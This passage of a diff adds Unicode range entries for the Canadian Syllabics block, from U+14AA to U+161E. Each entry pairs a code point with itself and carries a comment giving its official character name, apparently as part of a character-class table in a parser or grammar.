+ ["\u14AA", "\u14AA"], /* CANADIAN SYLLABICS MA */
+ ["\u14AB", "\u14AB"], /* CANADIAN SYLLABICS MAA */
+ ["\u14AC", "\u14AC"], /* CANADIAN SYLLABICS MWE */
+ ["\u14AD", "\u14AD"], /* CANADIAN SYLLABICS WEST-CREE MWE */
+ ["\u14AE", "\u14AE"], /* CANADIAN SYLLABICS MWI */
+ ["\u14AF", "\u14AF"], /* CANADIAN SYLLABICS WEST-CREE MWI */
+ ["\u14B0", "\u14B0"], /* CANADIAN SYLLABICS MWII */
+ ["\u14B1", "\u14B1"], /* CANADIAN SYLLABICS WEST-CREE MWII */
+ ["\u14B2", "\u14B2"], /* CANADIAN SYLLABICS MWO */
+ ["\u14B3", "\u14B3"], /* CANADIAN SYLLABICS WEST-CREE MWO */
+ ["\u14B4", "\u14B4"], /* CANADIAN SYLLABICS MWOO */
+ ["\u14B5", "\u14B5"], /* CANADIAN SYLLABICS WEST-CREE MWOO */
+ ["\u14B6", "\u14B6"], /* CANADIAN SYLLABICS MWA */
+ ["\u14B7", "\u14B7"], /* CANADIAN SYLLABICS WEST-CREE MWA */
+ ["\u14B8", "\u14B8"], /* CANADIAN SYLLABICS MWAA */
+ ["\u14B9", "\u14B9"], /* CANADIAN SYLLABICS WEST-CREE MWAA */
+ ["\u14BA", "\u14BA"], /* CANADIAN SYLLABICS NASKAPI MWAA */
+ ["\u14BB", "\u14BB"], /* CANADIAN SYLLABICS M */
+ ["\u14BC", "\u14BC"], /* CANADIAN SYLLABICS WEST-CREE M */
+ ["\u14BD", "\u14BD"], /* CANADIAN SYLLABICS MH */
+ ["\u14BE", "\u14BE"], /* CANADIAN SYLLABICS ATHAPASCAN M */
+ ["\u14BF", "\u14BF"], /* CANADIAN SYLLABICS SAYISI M */
+ ["\u14C0", "\u14C0"], /* CANADIAN SYLLABICS NE */
+ ["\u14C1", "\u14C1"], /* CANADIAN SYLLABICS NAAI */
+ ["\u14C2", "\u14C2"], /* CANADIAN SYLLABICS NI */
+ ["\u14C3", "\u14C3"], /* CANADIAN SYLLABICS NII */
+ ["\u14C4", "\u14C4"], /* CANADIAN SYLLABICS NO */
+ ["\u14C5", "\u14C5"], /* CANADIAN SYLLABICS NOO */
+ ["\u14C6", "\u14C6"], /* CANADIAN SYLLABICS Y-CREE NOO */
+ ["\u14C7", "\u14C7"], /* CANADIAN SYLLABICS NA */
+ ["\u14C8", "\u14C8"], /* CANADIAN SYLLABICS NAA */
+ ["\u14C9", "\u14C9"], /* CANADIAN SYLLABICS NWE */
+ ["\u14CA", "\u14CA"], /* CANADIAN SYLLABICS WEST-CREE NWE */
+ ["\u14CB", "\u14CB"], /* CANADIAN SYLLABICS NWA */
+ ["\u14CC", "\u14CC"], /* CANADIAN SYLLABICS WEST-CREE NWA */
+ ["\u14CD", "\u14CD"], /* CANADIAN SYLLABICS NWAA */
+ ["\u14CE", "\u14CE"], /* CANADIAN SYLLABICS WEST-CREE NWAA */
+ ["\u14CF", "\u14CF"], /* CANADIAN SYLLABICS NASKAPI NWAA */
+ ["\u14D0", "\u14D0"], /* CANADIAN SYLLABICS N */
+ ["\u14D1", "\u14D1"], /* CANADIAN SYLLABICS CARRIER NG */
+ ["\u14D2", "\u14D2"], /* CANADIAN SYLLABICS NH */
+ ["\u14D3", "\u14D3"], /* CANADIAN SYLLABICS LE */
+ ["\u14D4", "\u14D4"], /* CANADIAN SYLLABICS LAAI */
+ ["\u14D5", "\u14D5"], /* CANADIAN SYLLABICS LI */
+ ["\u14D6", "\u14D6"], /* CANADIAN SYLLABICS LII */
+ ["\u14D7", "\u14D7"], /* CANADIAN SYLLABICS LO */
+ ["\u14D8", "\u14D8"], /* CANADIAN SYLLABICS LOO */
+ ["\u14D9", "\u14D9"], /* CANADIAN SYLLABICS Y-CREE LOO */
+ ["\u14DA", "\u14DA"], /* CANADIAN SYLLABICS LA */
+ ["\u14DB", "\u14DB"], /* CANADIAN SYLLABICS LAA */
+ ["\u14DC", "\u14DC"], /* CANADIAN SYLLABICS LWE */
+ ["\u14DD", "\u14DD"], /* CANADIAN SYLLABICS WEST-CREE LWE */
+ ["\u14DE", "\u14DE"], /* CANADIAN SYLLABICS LWI */
+ ["\u14DF", "\u14DF"], /* CANADIAN SYLLABICS WEST-CREE LWI */
+ ["\u14E0", "\u14E0"], /* CANADIAN SYLLABICS LWII */
+ ["\u14E1", "\u14E1"], /* CANADIAN SYLLABICS WEST-CREE LWII */
+ ["\u14E2", "\u14E2"], /* CANADIAN SYLLABICS LWO */
+ ["\u14E3", "\u14E3"], /* CANADIAN SYLLABICS WEST-CREE LWO */
+ ["\u14E4", "\u14E4"], /* CANADIAN SYLLABICS LWOO */
+ ["\u14E5", "\u14E5"], /* CANADIAN SYLLABICS WEST-CREE LWOO */
+ ["\u14E6", "\u14E6"], /* CANADIAN SYLLABICS LWA */
+ ["\u14E7", "\u14E7"], /* CANADIAN SYLLABICS WEST-CREE LWA */
+ ["\u14E8", "\u14E8"], /* CANADIAN SYLLABICS LWAA */
+ ["\u14E9", "\u14E9"], /* CANADIAN SYLLABICS WEST-CREE LWAA */
+ ["\u14EA", "\u14EA"], /* CANADIAN SYLLABICS L */
+ ["\u14EB", "\u14EB"], /* CANADIAN SYLLABICS WEST-CREE L */
+ ["\u14EC", "\u14EC"], /* CANADIAN SYLLABICS MEDIAL L */
+ ["\u14ED", "\u14ED"], /* CANADIAN SYLLABICS SE */
+ ["\u14EE", "\u14EE"], /* CANADIAN SYLLABICS SAAI */
+ ["\u14EF", "\u14EF"], /* CANADIAN SYLLABICS SI */
+ ["\u14F0", "\u14F0"], /* CANADIAN SYLLABICS SII */
+ ["\u14F1", "\u14F1"], /* CANADIAN SYLLABICS SO */
+ ["\u14F2", "\u14F2"], /* CANADIAN SYLLABICS SOO */
+ ["\u14F3", "\u14F3"], /* CANADIAN SYLLABICS Y-CREE SOO */
+ ["\u14F4", "\u14F4"], /* CANADIAN SYLLABICS SA */
+ ["\u14F5", "\u14F5"], /* CANADIAN SYLLABICS SAA */
+ ["\u14F6", "\u14F6"], /* CANADIAN SYLLABICS SWE */
+ ["\u14F7", "\u14F7"], /* CANADIAN SYLLABICS WEST-CREE SWE */
+ ["\u14F8", "\u14F8"], /* CANADIAN SYLLABICS SWI */
+ ["\u14F9", "\u14F9"], /* CANADIAN SYLLABICS WEST-CREE SWI */
+ ["\u14FA", "\u14FA"], /* CANADIAN SYLLABICS SWII */
+ ["\u14FB", "\u14FB"], /* CANADIAN SYLLABICS WEST-CREE SWII */
+ ["\u14FC", "\u14FC"], /* CANADIAN SYLLABICS SWO */
+ ["\u14FD", "\u14FD"], /* CANADIAN SYLLABICS WEST-CREE SWO */
+ ["\u14FE", "\u14FE"], /* CANADIAN SYLLABICS SWOO */
+ ["\u14FF", "\u14FF"], /* CANADIAN SYLLABICS WEST-CREE SWOO */
+ ["\u1500", "\u1500"], /* CANADIAN SYLLABICS SWA */
+ ["\u1501", "\u1501"], /* CANADIAN SYLLABICS WEST-CREE SWA */
+ ["\u1502", "\u1502"], /* CANADIAN SYLLABICS SWAA */
+ ["\u1503", "\u1503"], /* CANADIAN SYLLABICS WEST-CREE SWAA */
+ ["\u1504", "\u1504"], /* CANADIAN SYLLABICS NASKAPI SWAA */
+ ["\u1505", "\u1505"], /* CANADIAN SYLLABICS S */
+ ["\u1506", "\u1506"], /* CANADIAN SYLLABICS ATHAPASCAN S */
+ ["\u1507", "\u1507"], /* CANADIAN SYLLABICS SW */
+ ["\u1508", "\u1508"], /* CANADIAN SYLLABICS BLACKFOOT S */
+ ["\u1509", "\u1509"], /* CANADIAN SYLLABICS MOOSE-CREE SK */
+ ["\u150A", "\u150A"], /* CANADIAN SYLLABICS NASKAPI SKW */
+ ["\u150B", "\u150B"], /* CANADIAN SYLLABICS NASKAPI S-W */
+ ["\u150C", "\u150C"], /* CANADIAN SYLLABICS NASKAPI SPWA */
+ ["\u150D", "\u150D"], /* CANADIAN SYLLABICS NASKAPI STWA */
+ ["\u150E", "\u150E"], /* CANADIAN SYLLABICS NASKAPI SKWA */
+ ["\u150F", "\u150F"], /* CANADIAN SYLLABICS NASKAPI SCWA */
+ ["\u1510", "\u1510"], /* CANADIAN SYLLABICS SHE */
+ ["\u1511", "\u1511"], /* CANADIAN SYLLABICS SHI */
+ ["\u1512", "\u1512"], /* CANADIAN SYLLABICS SHII */
+ ["\u1513", "\u1513"], /* CANADIAN SYLLABICS SHO */
+ ["\u1514", "\u1514"], /* CANADIAN SYLLABICS SHOO */
+ ["\u1515", "\u1515"], /* CANADIAN SYLLABICS SHA */
+ ["\u1516", "\u1516"], /* CANADIAN SYLLABICS SHAA */
+ ["\u1517", "\u1517"], /* CANADIAN SYLLABICS SHWE */
+ ["\u1518", "\u1518"], /* CANADIAN SYLLABICS WEST-CREE SHWE */
+ ["\u1519", "\u1519"], /* CANADIAN SYLLABICS SHWI */
+ ["\u151A", "\u151A"], /* CANADIAN SYLLABICS WEST-CREE SHWI */
+ ["\u151B", "\u151B"], /* CANADIAN SYLLABICS SHWII */
+ ["\u151C", "\u151C"], /* CANADIAN SYLLABICS WEST-CREE SHWII */
+ ["\u151D", "\u151D"], /* CANADIAN SYLLABICS SHWO */
+ ["\u151E", "\u151E"], /* CANADIAN SYLLABICS WEST-CREE SHWO */
+ ["\u151F", "\u151F"], /* CANADIAN SYLLABICS SHWOO */
+ ["\u1520", "\u1520"], /* CANADIAN SYLLABICS WEST-CREE SHWOO */
+ ["\u1521", "\u1521"], /* CANADIAN SYLLABICS SHWA */
+ ["\u1522", "\u1522"], /* CANADIAN SYLLABICS WEST-CREE SHWA */
+ ["\u1523", "\u1523"], /* CANADIAN SYLLABICS SHWAA */
+ ["\u1524", "\u1524"], /* CANADIAN SYLLABICS WEST-CREE SHWAA */
+ ["\u1525", "\u1525"], /* CANADIAN SYLLABICS SH */
+ ["\u1526", "\u1526"], /* CANADIAN SYLLABICS YE */
+ ["\u1527", "\u1527"], /* CANADIAN SYLLABICS YAAI */
+ ["\u1528", "\u1528"], /* CANADIAN SYLLABICS YI */
+ ["\u1529", "\u1529"], /* CANADIAN SYLLABICS YII */
+ ["\u152A", "\u152A"], /* CANADIAN SYLLABICS YO */
+ ["\u152B", "\u152B"], /* CANADIAN SYLLABICS YOO */
+ ["\u152C", "\u152C"], /* CANADIAN SYLLABICS Y-CREE YOO */
+ ["\u152D", "\u152D"], /* CANADIAN SYLLABICS YA */
+ ["\u152E", "\u152E"], /* CANADIAN SYLLABICS YAA */
+ ["\u152F", "\u152F"], /* CANADIAN SYLLABICS YWE */
+ ["\u1530", "\u1530"], /* CANADIAN SYLLABICS WEST-CREE YWE */
+ ["\u1531", "\u1531"], /* CANADIAN SYLLABICS YWI */
+ ["\u1532", "\u1532"], /* CANADIAN SYLLABICS WEST-CREE YWI */
+ ["\u1533", "\u1533"], /* CANADIAN SYLLABICS YWII */
+ ["\u1534", "\u1534"], /* CANADIAN SYLLABICS WEST-CREE YWII */
+ ["\u1535", "\u1535"], /* CANADIAN SYLLABICS YWO */
+ ["\u1536", "\u1536"], /* CANADIAN SYLLABICS WEST-CREE YWO */
+ ["\u1537", "\u1537"], /* CANADIAN SYLLABICS YWOO */
+ ["\u1538", "\u1538"], /* CANADIAN SYLLABICS WEST-CREE YWOO */
+ ["\u1539", "\u1539"], /* CANADIAN SYLLABICS YWA */
+ ["\u153A", "\u153A"], /* CANADIAN SYLLABICS WEST-CREE YWA */
+ ["\u153B", "\u153B"], /* CANADIAN SYLLABICS YWAA */
+ ["\u153C", "\u153C"], /* CANADIAN SYLLABICS WEST-CREE YWAA */
+ ["\u153D", "\u153D"], /* CANADIAN SYLLABICS NASKAPI YWAA */
+ ["\u153E", "\u153E"], /* CANADIAN SYLLABICS Y */
+ ["\u153F", "\u153F"], /* CANADIAN SYLLABICS BIBLE-CREE Y */
+ ["\u1540", "\u1540"], /* CANADIAN SYLLABICS WEST-CREE Y */
+ ["\u1541", "\u1541"], /* CANADIAN SYLLABICS SAYISI YI */
+ ["\u1542", "\u1542"], /* CANADIAN SYLLABICS RE */
+ ["\u1543", "\u1543"], /* CANADIAN SYLLABICS R-CREE RE */
+ ["\u1544", "\u1544"], /* CANADIAN SYLLABICS WEST-CREE LE */
+ ["\u1545", "\u1545"], /* CANADIAN SYLLABICS RAAI */
+ ["\u1546", "\u1546"], /* CANADIAN SYLLABICS RI */
+ ["\u1547", "\u1547"], /* CANADIAN SYLLABICS RII */
+ ["\u1548", "\u1548"], /* CANADIAN SYLLABICS RO */
+ ["\u1549", "\u1549"], /* CANADIAN SYLLABICS ROO */
+ ["\u154A", "\u154A"], /* CANADIAN SYLLABICS WEST-CREE LO */
+ ["\u154B", "\u154B"], /* CANADIAN SYLLABICS RA */
+ ["\u154C", "\u154C"], /* CANADIAN SYLLABICS RAA */
+ ["\u154D", "\u154D"], /* CANADIAN SYLLABICS WEST-CREE LA */
+ ["\u154E", "\u154E"], /* CANADIAN SYLLABICS RWAA */
+ ["\u154F", "\u154F"], /* CANADIAN SYLLABICS WEST-CREE RWAA */
+ ["\u1550", "\u1550"], /* CANADIAN SYLLABICS R */
+ ["\u1551", "\u1551"], /* CANADIAN SYLLABICS WEST-CREE R */
+ ["\u1552", "\u1552"], /* CANADIAN SYLLABICS MEDIAL R */
+ ["\u1553", "\u1553"], /* CANADIAN SYLLABICS FE */
+ ["\u1554", "\u1554"], /* CANADIAN SYLLABICS FAAI */
+ ["\u1555", "\u1555"], /* CANADIAN SYLLABICS FI */
+ ["\u1556", "\u1556"], /* CANADIAN SYLLABICS FII */
+ ["\u1557", "\u1557"], /* CANADIAN SYLLABICS FO */
+ ["\u1558", "\u1558"], /* CANADIAN SYLLABICS FOO */
+ ["\u1559", "\u1559"], /* CANADIAN SYLLABICS FA */
+ ["\u155A", "\u155A"], /* CANADIAN SYLLABICS FAA */
+ ["\u155B", "\u155B"], /* CANADIAN SYLLABICS FWAA */
+ ["\u155C", "\u155C"], /* CANADIAN SYLLABICS WEST-CREE FWAA */
+ ["\u155D", "\u155D"], /* CANADIAN SYLLABICS F */
+ ["\u155E", "\u155E"], /* CANADIAN SYLLABICS THE */
+ ["\u155F", "\u155F"], /* CANADIAN SYLLABICS N-CREE THE */
+ ["\u1560", "\u1560"], /* CANADIAN SYLLABICS THI */
+ ["\u1561", "\u1561"], /* CANADIAN SYLLABICS N-CREE THI */
+ ["\u1562", "\u1562"], /* CANADIAN SYLLABICS THII */
+ ["\u1563", "\u1563"], /* CANADIAN SYLLABICS N-CREE THII */
+ ["\u1564", "\u1564"], /* CANADIAN SYLLABICS THO */
+ ["\u1565", "\u1565"], /* CANADIAN SYLLABICS THOO */
+ ["\u1566", "\u1566"], /* CANADIAN SYLLABICS THA */
+ ["\u1567", "\u1567"], /* CANADIAN SYLLABICS THAA */
+ ["\u1568", "\u1568"], /* CANADIAN SYLLABICS THWAA */
+ ["\u1569", "\u1569"], /* CANADIAN SYLLABICS WEST-CREE THWAA */
+ ["\u156A", "\u156A"], /* CANADIAN SYLLABICS TH */
+ ["\u156B", "\u156B"], /* CANADIAN SYLLABICS TTHE */
+ ["\u156C", "\u156C"], /* CANADIAN SYLLABICS TTHI */
+ ["\u156D", "\u156D"], /* CANADIAN SYLLABICS TTHO */
+ ["\u156E", "\u156E"], /* CANADIAN SYLLABICS TTHA */
+ ["\u156F", "\u156F"], /* CANADIAN SYLLABICS TTH */
+ ["\u1570", "\u1570"], /* CANADIAN SYLLABICS TYE */
+ ["\u1571", "\u1571"], /* CANADIAN SYLLABICS TYI */
+ ["\u1572", "\u1572"], /* CANADIAN SYLLABICS TYO */
+ ["\u1573", "\u1573"], /* CANADIAN SYLLABICS TYA */
+ ["\u1574", "\u1574"], /* CANADIAN SYLLABICS NUNAVIK HE */
+ ["\u1575", "\u1575"], /* CANADIAN SYLLABICS NUNAVIK HI */
+ ["\u1576", "\u1576"], /* CANADIAN SYLLABICS NUNAVIK HII */
+ ["\u1577", "\u1577"], /* CANADIAN SYLLABICS NUNAVIK HO */
+ ["\u1578", "\u1578"], /* CANADIAN SYLLABICS NUNAVIK HOO */
+ ["\u1579", "\u1579"], /* CANADIAN SYLLABICS NUNAVIK HA */
+ ["\u157A", "\u157A"], /* CANADIAN SYLLABICS NUNAVIK HAA */
+ ["\u157B", "\u157B"], /* CANADIAN SYLLABICS NUNAVIK H */
+ ["\u157C", "\u157C"], /* CANADIAN SYLLABICS NUNAVUT H */
+ ["\u157D", "\u157D"], /* CANADIAN SYLLABICS HK */
+ ["\u157E", "\u157E"], /* CANADIAN SYLLABICS QAAI */
+ ["\u157F", "\u157F"], /* CANADIAN SYLLABICS QI */
+ ["\u1580", "\u1580"], /* CANADIAN SYLLABICS QII */
+ ["\u1581", "\u1581"], /* CANADIAN SYLLABICS QO */
+ ["\u1582", "\u1582"], /* CANADIAN SYLLABICS QOO */
+ ["\u1583", "\u1583"], /* CANADIAN SYLLABICS QA */
+ ["\u1584", "\u1584"], /* CANADIAN SYLLABICS QAA */
+ ["\u1585", "\u1585"], /* CANADIAN SYLLABICS Q */
+ ["\u1586", "\u1586"], /* CANADIAN SYLLABICS TLHE */
+ ["\u1587", "\u1587"], /* CANADIAN SYLLABICS TLHI */
+ ["\u1588", "\u1588"], /* CANADIAN SYLLABICS TLHO */
+ ["\u1589", "\u1589"], /* CANADIAN SYLLABICS TLHA */
+ ["\u158A", "\u158A"], /* CANADIAN SYLLABICS WEST-CREE RE */
+ ["\u158B", "\u158B"], /* CANADIAN SYLLABICS WEST-CREE RI */
+ ["\u158C", "\u158C"], /* CANADIAN SYLLABICS WEST-CREE RO */
+ ["\u158D", "\u158D"], /* CANADIAN SYLLABICS WEST-CREE RA */
+ ["\u158E", "\u158E"], /* CANADIAN SYLLABICS NGAAI */
+ ["\u158F", "\u158F"], /* CANADIAN SYLLABICS NGI */
+ ["\u1590", "\u1590"], /* CANADIAN SYLLABICS NGII */
+ ["\u1591", "\u1591"], /* CANADIAN SYLLABICS NGO */
+ ["\u1592", "\u1592"], /* CANADIAN SYLLABICS NGOO */
+ ["\u1593", "\u1593"], /* CANADIAN SYLLABICS NGA */
+ ["\u1594", "\u1594"], /* CANADIAN SYLLABICS NGAA */
+ ["\u1595", "\u1595"], /* CANADIAN SYLLABICS NG */
+ ["\u1596", "\u1596"], /* CANADIAN SYLLABICS NNG */
+ ["\u1597", "\u1597"], /* CANADIAN SYLLABICS SAYISI SHE */
+ ["\u1598", "\u1598"], /* CANADIAN SYLLABICS SAYISI SHI */
+ ["\u1599", "\u1599"], /* CANADIAN SYLLABICS SAYISI SHO */
+ ["\u159A", "\u159A"], /* CANADIAN SYLLABICS SAYISI SHA */
+ ["\u159B", "\u159B"], /* CANADIAN SYLLABICS WOODS-CREE THE */
+ ["\u159C", "\u159C"], /* CANADIAN SYLLABICS WOODS-CREE THI */
+ ["\u159D", "\u159D"], /* CANADIAN SYLLABICS WOODS-CREE THO */
+ ["\u159E", "\u159E"], /* CANADIAN SYLLABICS WOODS-CREE THA */
+ ["\u159F", "\u159F"], /* CANADIAN SYLLABICS WOODS-CREE TH */
+ ["\u15A0", "\u15A0"], /* CANADIAN SYLLABICS LHI */
+ ["\u15A1", "\u15A1"], /* CANADIAN SYLLABICS LHII */
+ ["\u15A2", "\u15A2"], /* CANADIAN SYLLABICS LHO */
+ ["\u15A3", "\u15A3"], /* CANADIAN SYLLABICS LHOO */
+ ["\u15A4", "\u15A4"], /* CANADIAN SYLLABICS LHA */
+ ["\u15A5", "\u15A5"], /* CANADIAN SYLLABICS LHAA */
+ ["\u15A6", "\u15A6"], /* CANADIAN SYLLABICS LH */
+ ["\u15A7", "\u15A7"], /* CANADIAN SYLLABICS TH-CREE THE */
+ ["\u15A8", "\u15A8"], /* CANADIAN SYLLABICS TH-CREE THI */
+ ["\u15A9", "\u15A9"], /* CANADIAN SYLLABICS TH-CREE THII */
+ ["\u15AA", "\u15AA"], /* CANADIAN SYLLABICS TH-CREE THO */
+ ["\u15AB", "\u15AB"], /* CANADIAN SYLLABICS TH-CREE THOO */
+ ["\u15AC", "\u15AC"], /* CANADIAN SYLLABICS TH-CREE THA */
+ ["\u15AD", "\u15AD"], /* CANADIAN SYLLABICS TH-CREE THAA */
+ ["\u15AE", "\u15AE"], /* CANADIAN SYLLABICS TH-CREE TH */
+ ["\u15AF", "\u15AF"], /* CANADIAN SYLLABICS AIVILIK B */
+ ["\u15B0", "\u15B0"], /* CANADIAN SYLLABICS BLACKFOOT E */
+ ["\u15B1", "\u15B1"], /* CANADIAN SYLLABICS BLACKFOOT I */
+ ["\u15B2", "\u15B2"], /* CANADIAN SYLLABICS BLACKFOOT O */
+ ["\u15B3", "\u15B3"], /* CANADIAN SYLLABICS BLACKFOOT A */
+ ["\u15B4", "\u15B4"], /* CANADIAN SYLLABICS BLACKFOOT WE */
+ ["\u15B5", "\u15B5"], /* CANADIAN SYLLABICS BLACKFOOT WI */
+ ["\u15B6", "\u15B6"], /* CANADIAN SYLLABICS BLACKFOOT WO */
+ ["\u15B7", "\u15B7"], /* CANADIAN SYLLABICS BLACKFOOT WA */
+ ["\u15B8", "\u15B8"], /* CANADIAN SYLLABICS BLACKFOOT NE */
+ ["\u15B9", "\u15B9"], /* CANADIAN SYLLABICS BLACKFOOT NI */
+ ["\u15BA", "\u15BA"], /* CANADIAN SYLLABICS BLACKFOOT NO */
+ ["\u15BB", "\u15BB"], /* CANADIAN SYLLABICS BLACKFOOT NA */
+ ["\u15BC", "\u15BC"], /* CANADIAN SYLLABICS BLACKFOOT KE */
+ ["\u15BD", "\u15BD"], /* CANADIAN SYLLABICS BLACKFOOT KI */
+ ["\u15BE", "\u15BE"], /* CANADIAN SYLLABICS BLACKFOOT KO */
+ ["\u15BF", "\u15BF"], /* CANADIAN SYLLABICS BLACKFOOT KA */
+ ["\u15C0", "\u15C0"], /* CANADIAN SYLLABICS SAYISI HE */
+ ["\u15C1", "\u15C1"], /* CANADIAN SYLLABICS SAYISI HI */
+ ["\u15C2", "\u15C2"], /* CANADIAN SYLLABICS SAYISI HO */
+ ["\u15C3", "\u15C3"], /* CANADIAN SYLLABICS SAYISI HA */
+ ["\u15C4", "\u15C4"], /* CANADIAN SYLLABICS CARRIER GHU */
+ ["\u15C5", "\u15C5"], /* CANADIAN SYLLABICS CARRIER GHO */
+ ["\u15C6", "\u15C6"], /* CANADIAN SYLLABICS CARRIER GHE */
+ ["\u15C7", "\u15C7"], /* CANADIAN SYLLABICS CARRIER GHEE */
+ ["\u15C8", "\u15C8"], /* CANADIAN SYLLABICS CARRIER GHI */
+ ["\u15C9", "\u15C9"], /* CANADIAN SYLLABICS CARRIER GHA */
+ ["\u15CA", "\u15CA"], /* CANADIAN SYLLABICS CARRIER RU */
+ ["\u15CB", "\u15CB"], /* CANADIAN SYLLABICS CARRIER RO */
+ ["\u15CC", "\u15CC"], /* CANADIAN SYLLABICS CARRIER RE */
+ ["\u15CD", "\u15CD"], /* CANADIAN SYLLABICS CARRIER REE */
+ ["\u15CE", "\u15CE"], /* CANADIAN SYLLABICS CARRIER RI */
+ ["\u15CF", "\u15CF"], /* CANADIAN SYLLABICS CARRIER RA */
+ ["\u15D0", "\u15D0"], /* CANADIAN SYLLABICS CARRIER WU */
+ ["\u15D1", "\u15D1"], /* CANADIAN SYLLABICS CARRIER WO */
+ ["\u15D2", "\u15D2"], /* CANADIAN SYLLABICS CARRIER WE */
+ ["\u15D3", "\u15D3"], /* CANADIAN SYLLABICS CARRIER WEE */
+ ["\u15D4", "\u15D4"], /* CANADIAN SYLLABICS CARRIER WI */
+ ["\u15D5", "\u15D5"], /* CANADIAN SYLLABICS CARRIER WA */
+ ["\u15D6", "\u15D6"], /* CANADIAN SYLLABICS CARRIER HWU */
+ ["\u15D7", "\u15D7"], /* CANADIAN SYLLABICS CARRIER HWO */
+ ["\u15D8", "\u15D8"], /* CANADIAN SYLLABICS CARRIER HWE */
+ ["\u15D9", "\u15D9"], /* CANADIAN SYLLABICS CARRIER HWEE */
+ ["\u15DA", "\u15DA"], /* CANADIAN SYLLABICS CARRIER HWI */
+ ["\u15DB", "\u15DB"], /* CANADIAN SYLLABICS CARRIER HWA */
+ ["\u15DC", "\u15DC"], /* CANADIAN SYLLABICS CARRIER THU */
+ ["\u15DD", "\u15DD"], /* CANADIAN SYLLABICS CARRIER THO */
+ ["\u15DE", "\u15DE"], /* CANADIAN SYLLABICS CARRIER THE */
+ ["\u15DF", "\u15DF"], /* CANADIAN SYLLABICS CARRIER THEE */
+ ["\u15E0", "\u15E0"], /* CANADIAN SYLLABICS CARRIER THI */
+ ["\u15E1", "\u15E1"], /* CANADIAN SYLLABICS CARRIER THA */
+ ["\u15E2", "\u15E2"], /* CANADIAN SYLLABICS CARRIER TTU */
+ ["\u15E3", "\u15E3"], /* CANADIAN SYLLABICS CARRIER TTO */
+ ["\u15E4", "\u15E4"], /* CANADIAN SYLLABICS CARRIER TTE */
+ ["\u15E5", "\u15E5"], /* CANADIAN SYLLABICS CARRIER TTEE */
+ ["\u15E6", "\u15E6"], /* CANADIAN SYLLABICS CARRIER TTI */
+ ["\u15E7", "\u15E7"], /* CANADIAN SYLLABICS CARRIER TTA */
+ ["\u15E8", "\u15E8"], /* CANADIAN SYLLABICS CARRIER PU */
+ ["\u15E9", "\u15E9"], /* CANADIAN SYLLABICS CARRIER PO */
+ ["\u15EA", "\u15EA"], /* CANADIAN SYLLABICS CARRIER PE */
+ ["\u15EB", "\u15EB"], /* CANADIAN SYLLABICS CARRIER PEE */
+ ["\u15EC", "\u15EC"], /* CANADIAN SYLLABICS CARRIER PI */
+ ["\u15ED", "\u15ED"], /* CANADIAN SYLLABICS CARRIER PA */
+ ["\u15EE", "\u15EE"], /* CANADIAN SYLLABICS CARRIER P */
+ ["\u15EF", "\u15EF"], /* CANADIAN SYLLABICS CARRIER GU */
+ ["\u15F0", "\u15F0"], /* CANADIAN SYLLABICS CARRIER GO */
+ ["\u15F1", "\u15F1"], /* CANADIAN SYLLABICS CARRIER GE */
+ ["\u15F2", "\u15F2"], /* CANADIAN SYLLABICS CARRIER GEE */
+ ["\u15F3", "\u15F3"], /* CANADIAN SYLLABICS CARRIER GI */
+ ["\u15F4", "\u15F4"], /* CANADIAN SYLLABICS CARRIER GA */
+ ["\u15F5", "\u15F5"], /* CANADIAN SYLLABICS CARRIER KHU */
+ ["\u15F6", "\u15F6"], /* CANADIAN SYLLABICS CARRIER KHO */
+ ["\u15F7", "\u15F7"], /* CANADIAN SYLLABICS CARRIER KHE */
+ ["\u15F8", "\u15F8"], /* CANADIAN SYLLABICS CARRIER KHEE */
+ ["\u15F9", "\u15F9"], /* CANADIAN SYLLABICS CARRIER KHI */
+ ["\u15FA", "\u15FA"], /* CANADIAN SYLLABICS CARRIER KHA */
+ ["\u15FB", "\u15FB"], /* CANADIAN SYLLABICS CARRIER KKU */
+ ["\u15FC", "\u15FC"], /* CANADIAN SYLLABICS CARRIER KKO */
+ ["\u15FD", "\u15FD"], /* CANADIAN SYLLABICS CARRIER KKE */
+ ["\u15FE", "\u15FE"], /* CANADIAN SYLLABICS CARRIER KKEE */
+ ["\u15FF", "\u15FF"], /* CANADIAN SYLLABICS CARRIER KKI */
+ ["\u1600", "\u1600"], /* CANADIAN SYLLABICS CARRIER KKA */
+ ["\u1601", "\u1601"], /* CANADIAN SYLLABICS CARRIER KK */
+ ["\u1602", "\u1602"], /* CANADIAN SYLLABICS CARRIER NU */
+ ["\u1603", "\u1603"], /* CANADIAN SYLLABICS CARRIER NO */
+ ["\u1604", "\u1604"], /* CANADIAN SYLLABICS CARRIER NE */
+ ["\u1605", "\u1605"], /* CANADIAN SYLLABICS CARRIER NEE */
+ ["\u1606", "\u1606"], /* CANADIAN SYLLABICS CARRIER NI */
+ ["\u1607", "\u1607"], /* CANADIAN SYLLABICS CARRIER NA */
+ ["\u1608", "\u1608"], /* CANADIAN SYLLABICS CARRIER MU */
+ ["\u1609", "\u1609"], /* CANADIAN SYLLABICS CARRIER MO */
+ ["\u160A", "\u160A"], /* CANADIAN SYLLABICS CARRIER ME */
+ ["\u160B", "\u160B"], /* CANADIAN SYLLABICS CARRIER MEE */
+ ["\u160C", "\u160C"], /* CANADIAN SYLLABICS CARRIER MI */
+ ["\u160D", "\u160D"], /* CANADIAN SYLLABICS CARRIER MA */
+ ["\u160E", "\u160E"], /* CANADIAN SYLLABICS CARRIER YU */
+ ["\u160F", "\u160F"], /* CANADIAN SYLLABICS CARRIER YO */
+ ["\u1610", "\u1610"], /* CANADIAN SYLLABICS CARRIER YE */
+ ["\u1611", "\u1611"], /* CANADIAN SYLLABICS CARRIER YEE */
+ ["\u1612", "\u1612"], /* CANADIAN SYLLABICS CARRIER YI */
+ ["\u1613", "\u1613"], /* CANADIAN SYLLABICS CARRIER YA */
+ ["\u1614", "\u1614"], /* CANADIAN SYLLABICS CARRIER JU */
+ ["\u1615", "\u1615"], /* CANADIAN SYLLABICS SAYISI JU */
+ ["\u1616", "\u1616"], /* CANADIAN SYLLABICS CARRIER JO */
+ ["\u1617", "\u1617"], /* CANADIAN SYLLABICS CARRIER JE */
+ ["\u1618", "\u1618"], /* CANADIAN SYLLABICS CARRIER JEE */
+ ["\u1619", "\u1619"], /* CANADIAN SYLLABICS CARRIER JI */
+ ["\u161A", "\u161A"], /* CANADIAN SYLLABICS SAYISI JI */
+ ["\u161B", "\u161B"], /* CANADIAN SYLLABICS CARRIER JA */
+ ["\u161C", "\u161C"], /* CANADIAN SYLLABICS CARRIER JJU */
+ ["\u161D", "\u161D"], /* CANADIAN SYLLABICS CARRIER JJO */
+ ["\u161E", "\u161E"], /* CANADIAN SYLLABICS CARRIER JJE */
